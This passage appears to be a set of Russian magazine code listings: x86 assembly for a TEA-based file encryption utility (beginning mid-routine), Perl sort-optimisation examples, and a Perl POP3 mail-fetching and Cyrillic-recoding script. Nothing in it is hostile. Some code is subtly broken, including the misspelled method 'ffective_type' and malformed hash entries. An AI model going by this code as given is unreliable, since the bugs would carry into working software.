mov ebp,k2 ; Кладем в ebp третьи 32 бита ключа xor ebp,ebx ; Сравниваем ebp с ebx sub ecx,ebp ; Отнимаем от ecx – ebp mov ebp,ebx ; Кладем в ebp – ebx shr ebp,5 ; Сдвиг ebp вправо на 5 бит xor ebp,eax ; Сравниваем ebp с eax sub ecx,ebp ; Отнимаем от ecx – ebp sub ecx,k3 ; Отнимаем от ecx – четвёртые 32 бита ключа ; mov ebp,ecx ; Кладем в ebp – ecx shl ebp,4 ; Сдвиг ebp на 4 бита влево sub ebx,ebp ; Отнимаем от ebx – ebp mov ebp,k0 ; Кладем в ebx первые 32 бита ключа xor ebp,ecx ; Сравниваем ebp с eсx sub ebx,ebp ; Отнимаем от ebx – ebp mov ebp,ecx ; Кладём в ebp – ecx shr ebp,5 ; Сдвиг ebp вправо на 5 бит xor ebp,eax ; Сравниваем ebp с eax sub ebx,ebp ; Отнимаем от ebx – ebp sub ebx,k1 ; Отнимаем от ebx – вторые 32 бита ключа sub eax,edx ; Отнимаем от eax – edx dec edi ; Уменьшаем edi на единицу jnz DLoopR ; Дешифруем дальше pop edi ; Вынимаем из стека edi mov v0,ebx ; Кладём результаты шифрования в отведённое mov v1,ecx ; для них место ret ; Возврат из подпрограммы ;-------------------------------------------------------; v0 equ dword ptr [edi] v1 equ dword ptr [edi+4] k0 equ dword ptr [esi] k1 equ dword ptr [esi+4] k2 equ dword ptr [esi+8] k3 equ dword ptr [esi+12] .386 .model flat, stdcall callx macro x ; extrn x:proc ; Макрос для упрощения call x ; использования WIN API endm ; .data start: ;--------------------------------------------------------; push offset usage__ ; callx printf ; Выводим сообщение об использовании данной программы add esp,4 ; callx GetCommandLineA ; Получаем командную строку mov esi,eax ; Помещаем указатель на командную строку в esi call t__ ; Получаем указатель на первый параметр lodsw ; Загружаем параметр в ax cmp ax,'E-' ; Проверяем – мы будем шифровать? jne d__ ; Нет, идем на следующую проверку mov flag,1 ; Устанавливаем флаг в 1 jmp w__ ; И переходим к шифрованию d__: ; cmp ax,'D-' ; Проверяем – мы будем дешифровать? jne ex__ ; Нет, идем на выход mov flag,2 ; w__: call f_open ; Работаем с файлом ex__: mov al,flag ; Помещаем в al – флаг test al,al ; Проверяем его jnz ex2__ ; Если всё нормально, то на выход push offset invalid1_ ; callx printf ; Выводим сообщение об ошибке add esp,4 ; ex2__: push 0 ; callx ExitProcess ; Завершение процесса ;--------------------------------------------------------; t__: ; lodsb ; Проверяем все символы на равенство cmp al,20h ; пробелу. Если нашли пробел, то jne t__ ; теперь esi указывает на argv[1] ret ;--------------------------------------------------------; f_open: pusha ; Сохраняем все в стеке call t__ ; Находим имя файла push esi ; Сохраняем указатель в стеке call t__ ; Находим следующий параметр dec esi ; Переходим на разделяющий пробел mov byte ptr[esi],0 ; И заменяем его нулем pop esi ; Восстанавливаем указатель из стека push esi ; И тут же кладем его обратно в стек xor eax,eax ; push eax ; push 00000080h ; push 3 ; push eax ; push 00000001h OR 00000002h ; push 40000000h OR 80000000 ; push esi ; Открываем существующий callx CreateFileA ; файл (esi) inc eax ; test eax,eax ; Если возникла ошибка, то jnz g__ ; переходим на error_ push offset file_err_ ; и выводим callx printf ; сообщение add esp,4 ; g__: dec eax ; Уменьшаем eax на 1 mov fHnd,eax ; Сохраняем хэндл файла push s2read ; push eax ; callx GetFileSize ; Получаем его размер mov sz_,eax ; и сохраняем его в sz_ ; Выделяем память push 0 ; имя файла хэндл = 0 push sz_ ; максимальный размер = memory push 0 ; минимальный размер = 0 push 4 ; доступ чтение/запись push 0 ; push fHnd ; callx CreateFileMappingA ; mov mHnd,eax ; Сохраняем хэндл памяти or eax,eax ; если ошибка, то на выход jz error2_ ; push sz_ ; количество памяти для работы push 0 ; push 0 ; push 2 ; Режим записи push eax ; хэндл callx MapViewOfFile ; Вызываем функцию test eax,eax ; Если ошибка, то je error3_ ; на выход mov mHnd2,eax ; Сохраняем указатель на память cmp flag,1 ; je d2__ ; lea ebx,total_decrypt ; Проверяем, какая нам функция нужна: jmp d3__ ; шифровки или дешифровки d2__: ; и кладем её смещение в ebx lea ebx,total_encrypt ; d3__: pop esi ; Получаем указатель call t__ ; на наш 128 битный ключ mov edx,mHnd2 ; Дешифруем данные mov eax,esi ; нашим ключом (128 бит) mov ecx,sz_ ; sz_ байт – длина данных call ebx ; push mHnd2 ; callx UnmapViewOfFile ; Заканчиваем изменение ; файла в памяти и кладём ; его обратно error3_: push mHnd ; callx CloseHandle ; Закрываем память error2_: push fHnd ; callx CloseHandle ; Закрываем файл error_: popa ; Вынимаем всё из стека ret ; Возврат из подпрограммы ;--------------------------------------------------------; fHnd dd 0 ; sz_ dd 0 ; mHnd dd 0 ; s2read dd 0 ; Данные mHnd2 dd 0 ; flag db 0 ; usage__: db '|----------------------------------------------|',0ah,0dh db '| [FILE ENCRYPTION UTILITE (BASED ON TEA) BY SLON] |',0ah,0dh db '|----------------------------------------------|',0ah,0dh db '| USAGE: FENCU.EXE [-D OR -E] [FILENAME] [128 BIT KEY] |',0ah,0dh db '| -D : DECRYPT FILE |',0ah,0dh db '| -E : ENCRYPT FILE |',0ah,0dh db '| EXAMPLE: FENCU.EXE -E HELLO.TXT 1234567890abcdef |',0ah,0dh db '|----------------------------------------------|',0ah,0dh db 0ah,0dh,0 invalid1_: db '[INVALID PARAMETER, EXITING ...]',0ah,0dh,0 file_err_: db '[FILE ERROR, EXITING ...]',0ah,0dh,0 ;--------------------------------------------------------; include tea_128.asm ;--------------------------------------------------------; .code nop end start end Оптимизация сортировки в Perl Алексей Мичурин Листинг 1 # Элементарное применение функции sort @sorted = sort @unsorted; Листинг 2 # Функция sort с заданным критерием сортировки @sorted = sort {...} @unsorted; Листинг 3 # Сортировка чисел по убыванию @sorted = sort {$b <=> $a} @unsorted; Листинг 4 # Сортировка строк по алфавиту без учёта регистра (оптимизации нет) @sorted = sort {uc($a) cmp uc($b)} @unsorted; Листинг 5 # Оптимизированная сортировка строк по алфавиту без учёта регистра; длинная форма с временными массивами @temp_unsorted = map {[uc, $_]} @unsorted; @temp_sorted = sort {$a->[0] cmp $b->[0]} @temp_unsorted; @sorted = map {$_->[1]} @temp_sorted; Листинг 6 # Оптимизированная сортировка строк по алфавиту без учёта регистра; короткая форма без временных массивов @sorted = map {$_->[1]} sort {$a->[0] cmp $b->[0]} map {[uc, $_]} @unsorted; Листинг 7 # Создание двух сортированных без учёта регистра списков; вдвойне оптимизированная реализация @temp_unsorted = map {[uc, $_]} @unsorted; @sorted_a2z = map {$_->[1]} sort {$a->[0] cmp $b->[0]} @temp_unsorted; @sorted_z2a = map {$_->[1]} sort {$b->[0] cmp $a->[0]} @temp_unsorted; Листинг 8 # Список версий @unsorted=('Ver 1.0', 'version 1.1', 'v. 1.10', 'ver 2.20', 'Ver 2.0', 'Version 2.3', 'V 2.12'); Листинг 9 # Сортировка списка версий без оптимизации @sorted=sort { my ($ap, $as)=($a=~m/(\d+)\.(\d+)/); my ($bp, $bs)=($b=~m/(\d+)\.(\d+)/); $ap <=> $bp || $as <=> $bs; } @unsorted; Листинг 10 # Сортировка списка версий с оптимизацией @sorted=map { $_->[0] } sort { $a->[1] <=> $b->[1] || $a->[2] <=> $b->[2]; } map { m/(\d+)\.(\d+)/; [$_, $1, $2]; } @unsorted; [версия]*1000+[подверсия] Листинг 11 # Сортировка списка версий с дополнительной оптимизацией @sorted=map { $_->[0] } sort { $a->[1] <=> $b->[1] } map { m/(\d+)\.(\d+)/; [$_, $1*1000+$2]; } @unsorted; Автоматизация веб-проектов через электронную почту Игорь Тетерин use Net::POP3; use MIME::Parser; use MIME::Entity; use MIME::Head; use MIME::Body; use MIME::Words qw(:all); use MIME::QuotedPrint; use MIME::Base64; my $parser = MIME::Parser->new; $parser->output_to_core(1); $parser->tmp_to_core(1); $mail_server='127.0.0.1'; $username='login'; $password='password'; $pop = Net::POP3->new($mail_server) or die "Can't open coonection to $mail_server :$!\n"; $pop->login($username, $password) or die "Can't Authenticate: $!\n"; $messages = $pop->list or die "Can't get listof undeleted messages: $!\n"; foreach $msgid (keys %$messages) { $message = $pop->get($msgid); unless (defined $message) { warn "Couldn't fetch $msgid from server: $!\n"; next; } $pop->delete ( $msgid ); @message = @$message; $ent = $parser->parse_data ( \@message ); $bodyCoding = $ent->head->mime_attr( 'Content-type.charset' ); $origType = $ent->head->get( 'Content-Transfer-Encoding',0 ); if ( $ent->effective_type eq 'text/plain' ) { # письмо – только текст $bodyCoding = $ent->head->mime_attr( 'Content-type.charset' ); $origType = $ent->head->get( 'Content-Transfer-Encoding',0 ); $body = $ent->body_as_string; } elsif ( $ent->effective_type eq 'multipart/alternative' and $ent->parts(0)->effective_type eq 'text/plain' ) { # письмо, где первая часть мультипар – текст $bodyCoding = $ent->parts(0)->head->mime_attr( 'Content-type.charset' ); $origType = $ent->parts(0)->head->get( 'Content-Transfer-Encoding',0 ); $body = $ent->parts(0)->body_as_string; } elsif ( $ent->effective_type eq 'multipart/alternative' and $ent->parts(1)->ffective_type eq 'text/plain' ) { # письмо, где вторая часть мультипарт – текст $bodyCoding = $ent->parts(1)->head->mime_attr( 'Content-type.charset' ); $origType = $ent->parts(1)->head->get( 'Content-Transfer-Encoding',0 ); $body = $ent->parts(1)->body_as_string; } else {next} chomp $origType; # Если закодировано, декодируем его, во имя счастья if (lc($origType) eq 'quoted-printable') { $body = MIME::QuotedPrint::decode($body); } if (lc($origType) eq 'base64') { $body = MIME::Base64::decode($body); } $bodyCoding = lc($bodyCoding); # Перекодировка кирилицы у тела, если надо if ($bodyCoding ne '') { if ($bodyCoding eq 'koi8-r') {$bodyCoding = 'koi'} if ($bodyCoding eq 'koi8r') {$bodyCoding = 'koi'} if ($bodyCoding eq 'iso8859-5') {$bodyCoding = 'iso'} if ($bodyCoding eq 'koi8-u') {$bodyCoding = 'koi'} if ($bodyCoding eq 'koi' || $bodyCoding eq 'iso') { $body = encoder($body, $bodyCoding, 'win') } } $subj = join( "", map {xcode( ${$_}[1], ${$_}[0])} decode_mimewords( $ent->head->get('Subject',0) ) ); $date = $ent->head->get('Date',0); } use collector; ($r) = Add2Revorum ( \$subj, \$body, \$date ); sub xcode { # определяем кодировку и вызываем перекодировщик, если нужно my ($charset, $src) = @_; my %charsets = ( 'windows-1251' =>'win', 'iso8859-5' =>'iso', 'koi8-r' =>'koi', 'koi8r' =>'koi', 'koi8-u' =>'koi', ); return $src unless ($charsets{lc($charset)}); return encoder($src, $charsets{lc($charset)}, 'win'); } sub encoder { my $enstring = shift; my $cfrom = shift; my $cto = shift; my %codefunk = ( win => "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF", koi => "\xE1\xE2\xF7\xE7\xE4\xE5\xF6\xFA\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF2\xF3\xF4\xF5\xE6\xE8\xE3\xFE\xFB\xFD\xFF\xF9\xF8\xFC\xE0\xF1\xC1\xC2\xD7\xC7\xC4\xC5\xD6\xDA\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD2\xD3\xD4\xD5\xC6\xC8\xC3\xDE\xDB\xDD\xDF\xD9\xD8\xDC\xC0\xD1", iso => "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF", dos => "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF", koi_lc => "tr/\xB3\xE0-\xFF/\xA3\xC0-\xDF/", koi_uc =>"tr/\xA3\xC0-\xDF/\xB3\xE0-\xFF/", win_lc => "tr/\xA8\xC0-\xDF/\xB8\xE0-\xFF/", win_uc =>"tr/\xB8\xE0-\xFF/\xA8\xC0-\xDF/", alt_lc => "tr/\xF0\x80-\x9F/\xF1\xA0-\xAF\xE0-\xEF/", alt_uc => alt_lc => "tr/\xF1\xA0-\xAF\xE0-\xEF/\xF0\x80-\x9F/", iso_lc => "tr/\xA1\xB0-\xCF/\xF1\xD0-\xEF/", iso_uc => "tr/\xF1\xD0-\xEF/\xA1\xB0-\xCF/", dos_lc => "tr/\x80-\x9F/\xA0-\xAF\xE0-\xEF/", dos_uc => "tr/\xA0-\xAF\xE0-\xEF/\x80-\x9F/", mac_lc => "tr/\xDD\x80-\xDF/\xDE\xE0-\xFE\xDF/", mac_uc => mac_lc => "tr/\xDE\xE0-\xFE\xDF/\xDD\x80-\xDF/" ); if (!$enstring or !$cfrom or !$cto) {return 0} else { if ($cfrom ne "" and $cto ne "lc" and $cto ne "uc") { $_ = $enstring;$cfrom = $codefunk{$cfrom};$cto = $codefunk{$cto}; eval "tr/$cfrom/$cto/"; return $_; } elsif (($cfrom ne "") and ($cto eq "lc" or $cto eq "uc")) { $_ = $enstring; $cfrom = $codefunk{"$cfrom\_$cto"}; eval $cfrom; return $_; } } return $enstring; } # закомментируем строку, возвращающую неизмененный # заголовок и продолжим проверку: # return $src unless ($charsets{lc($charset)}); unless ($charsets{lc($charset)}) { # если кодировка не определена, считаем вхождение # больших и маленьких русских букв $upper = "ЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ"; $lower = "ёйцукенгшщзхъфывапролджэячсмитьбю"; $ucount = eval("\$src =~ tr/$upper/$upper/;"); $lcount = eval("\$src =~ tr/$lower/$lower/;"); # если больших букв больше – скорее всего это KOI8 # и мы перекодируем это в Windows return encoder($src, 'koi', 'win') if ($ucount > $lcount); # иначе, как и ранее, возвращаем неизмененный заголовок return $src; }